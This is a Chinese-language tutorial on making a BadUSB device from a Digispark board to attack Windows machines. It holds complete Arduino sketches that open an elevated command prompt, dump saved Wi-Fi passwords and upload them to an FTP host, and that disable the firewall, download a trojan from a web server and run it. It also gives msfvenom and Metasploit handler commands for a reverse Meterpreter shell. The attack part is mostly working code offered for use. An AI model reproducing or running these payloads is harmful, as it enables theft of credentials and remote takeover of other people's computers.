在2014年BlackHat安全大会上,SRLabs的安全研究人员JakobLell和独立安全研究人员Karsten Nohl展示了一种新的威胁,他们称之为“BadUSB”(按照BadBIOS命名),这种攻击方法让USB安全和几乎所有和USB相关的设备(包括具有USB端口的电脑)都陷入相当危险的状态。
BadUSB是什么?
BadUSB攻击属于HID攻击,是计算机直接与人交互的设备,例如键盘、鼠标等的一种,将普通U盘通过改写固件模拟成一个虚拟键盘,并模拟键盘输入带有攻击性的恶意指令从而达成入侵目的。能模拟键盘鼠标对电脑进行操作,就相当于控制了电脑。
恶意代码存在于U盘的固件中,PC上的杀毒软件无法访问到U盘存放固件的区域,因此也就意味着杀毒软件和U盘格式化都无法应对BadUSB的攻击,这使得BadUSB的攻击非常的有效且难以预防。
BadUSB的攻击流程
BadUSB插入后,会模拟键盘鼠标对电脑进行操作,这些操作是通过植入U盘固件中的恶意代码定义的,通过模拟键盘鼠标打开电脑命令终端,并执行恶意的Dos命令来达到控制目标机、窃取信息、反弹shell、发邮件等目的。
BadUSB制作
1. 前期准备
1.1 硬件
本次实验使用ATTINY85 Digispark kickstarter微型USB开发板,淘宝单价10元左右,物美价廉。
1.2 Arduion IDE(代码烧录软件)
下载地址:
https://www.arduino.cn/thread-5838-1-1.html
Arduion IDE配置
1)文件→首选项→附加开发板管理:加入对Digispark开发板的支持
http://arduino.esp8266.com/stable/package_esp8266com_index.json
http://digistump.com/package_digistump_index.json
http://dan.drown.org/stm32duino/package_STM32duino_index.json
2)工具→开发板→开发板管理器:
安装Digistump AVR Boards(可开代理下载)
3)工具→开发板→Digispark(Default-16.5mhz)
工具→编程器→USBtinyISP
1.3 DigiKeyboard.h头文件
编程主要需要用到这个头文件,查看DigiKeyboard.h源码,学会使用内置定义的函数语法。
源码链接:
https://github.com/BesoBerlin/DigiKeyboard_DE/blob/master/DigiKeyboard.h
1.4 Automator(编程辅助软件,非必须)
下载链接:
https://github.com/Catboy96/Automator/releases
1.5 安装Digispark的驱动
下载链接:
https://pan.baidu.com/s/1WO_NX4RjofGBt_nvcX8AIA 提取码:6x58
2. 代码编写以及效果
Arduion IDE使用C语言进行编程,开始默认会有两个函数,setup()和loop()。当我们插入BadUSB时,它会执行一次setup()函数,然后循环执行loop()函数。
简单介绍常用的语句
DigiKeyboard.delay(numbers):延迟numbers毫秒DigiKeyboard.sendKeyStroke():按键DigiKeyboard.sendKeyPress():按住键,不释放DigiKeyboard.sendKeyPress(0):释放按键DigiKeyboard.print():输入,println()为输入并回车
2.1 实例一:Hello World!
目的:打开目标机终端,打开notepad.exe,输入“Hello World!”。
攻击程序:
void setup() { // put your setup code here, to run once: DigiKeyboard.sendKeyStroke(0); //初始化 DigiKeyboard.delay(2000); //延迟两秒钟,用于系统识别Digispark DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); //按Win+R组合键 DigiKeyboard.delay(1000); DigiKeyboard.print("cmd"); //输入cmd,打开终端 DigiKeyboard.delay(1000); DigiKeyboard.sendKeyStroke(KEY_ENTER); //回车键 DigiKeyboard.delay(1000); DigiKeyboard.print("notepad"); //终端输入notepaid,打开记事本 DigiKeyboard.delay(1000); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(1000); DigiKeyboard.print("Hello world!");}void loop() { // put your main code here, to run repeatedly: }
编写完代码后,点击左上角“√”编译代码,若没报错则点击旁边的“→”上传代码,紧接着有60秒的时间插入开发板,插入后当最下方出现“Thank You”,则代码上传完毕,简单的BadUSB制作完成。如果需要制作别的功能,则直接写代码上传即可覆盖原有的代码。
BadUSB效果:
2.2 实例二:获取WIFI密码
目的:通过执行命令读取目标机的历史连接的wifi的名称和密码,并发送到ftp服务器上。
netsh wlan show profiles name=wifiName key=clear
注意:需要Administrator权限执行此命令才可以看到wifi密码,所以需要以管理员身份打开终端。
攻击程序
#include "DigiKeyboard.h"void setup() { // put your setup code here, to run once: DigiKeyboard.sendKeyStroke(0); DigiKeyboard.delay(2000); DigiKeyboard.sendKeyStroke(0, MOD_GUI_LEFT);//按Win键盘 DigiKeyboard.delay(1000); DigiKeyboard.print(F("cmd")); DigiKeyboard.delay(1000); DigiKeyboard.sendKeyStroke(KEY_ENTER, MOD_CONTROL_RIGHT | MOD_SHIFT_RIGHT);//在Win输入cmd的基础上按ctrl+shift+enter, DigiKeyboard.delay(1000); DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); DigiKeyboard.delay(1000); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(1000); //读取wifi账号密码并保存到wifi.txt文件 DigiKeyboard.print("for /f \"skip=9 tokens=1,2 delims=:\" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear >> E:\\wifi.txt"); DigiKeyboard.delay(1000); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(2000); DigiKeyboard.print("ftp -i 192.168.1.106"); //连接ftp服务器 DigiKeyboard.delay(1000); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(1000); DigiKeyboard.print("admin"); //ftp账号 DigiKeyboard.delay(1000); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(1000); DigiKeyboard.print("admin"); //ftp密码 DigiKeyboard.delay(1000); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(1000); DigiKeyboard.print("put E:\\wifi.txt"); //上传到ftp DigiKeyboard.delay(1000); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(1000); DigiKeyboard.println("quit"); DigiKeyboard.println("del E:\\wifi.txt"); DigiKeyboard.println("exit");}void loop() { // put your main code here, to run repeatedly:}
BadUSB效果:
2.3 实例三:反弹shell
目的:从网站下载木马,并运行木马,达到反弹shell的目的。
1)首先用kali制作木马,并把木马放在搭建的网站上;
msfvenom -p windows/meterpreter/reverse_tcp LHOST=kali的IP地址 LPORT=kali开启的监听端口 -f exe >shell.exe
2)kali上打开MSF服务端并开启监听,等待反弹shell;
use exploit/multi/handlerset payload windows/meterpreter/reverse_tcpset LHOST kali的IP地址set LPORT kali开启的监听端口run
3)上传攻击程序,制作BadUSB;
void setup() { // put your setup code here, to run once: DigiKeyboard.sendKeyStroke(0); DigiKeyboard.delay(2000); DigiKeyboard.sendKeyStroke(0, MOD_GUI_LEFT); DigiKeyboard.delay(1000); DigiKeyboard.print(F("cmd")); DigiKeyboard.delay(1000); DigiKeyboard.sendKeyStroke(KEY_ENTER, MOD_CONTROL_RIGHT | MOD_SHIFT_RIGHT); DigiKeyboard.delay(1000); DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); DigiKeyboard.delay(1000); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(1000); DigiKeyboard.print(F("netSh advfirewall set allprofiles state off")); //关闭防火墙 DigiKeyboard.delay(1000); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(1000); DigiKeyboard.print(F("powershell -Command $clnt=new-object System.Net.WebClient;$url='http://172.20.10.2/shell.exe';$file='E:\\shell.exe';$clnt.DownloadFile($url,$file);"));//下载木马 DigiKeyboard.delay(1000); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(1000); DigiKeyboard.print(F("E:\\shell.exe")); //运行木马 DigiKeyboard.delay(1000); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(1000); DigiKeyboard.println(F("exit"));}void loop() { // put your main code here, to run repeatedly:}
4)目标机插上BadUSB后,攻击者获得一个反弹shell,得到shell后就可以为所欲为了。
配套学习资源:
2014年BlackHat安全大会BadUSB的PDF
https://srlabs.de/wp-content/uploads/2014/11/SRLabs-BadUSB-Pacsec-v2.pdf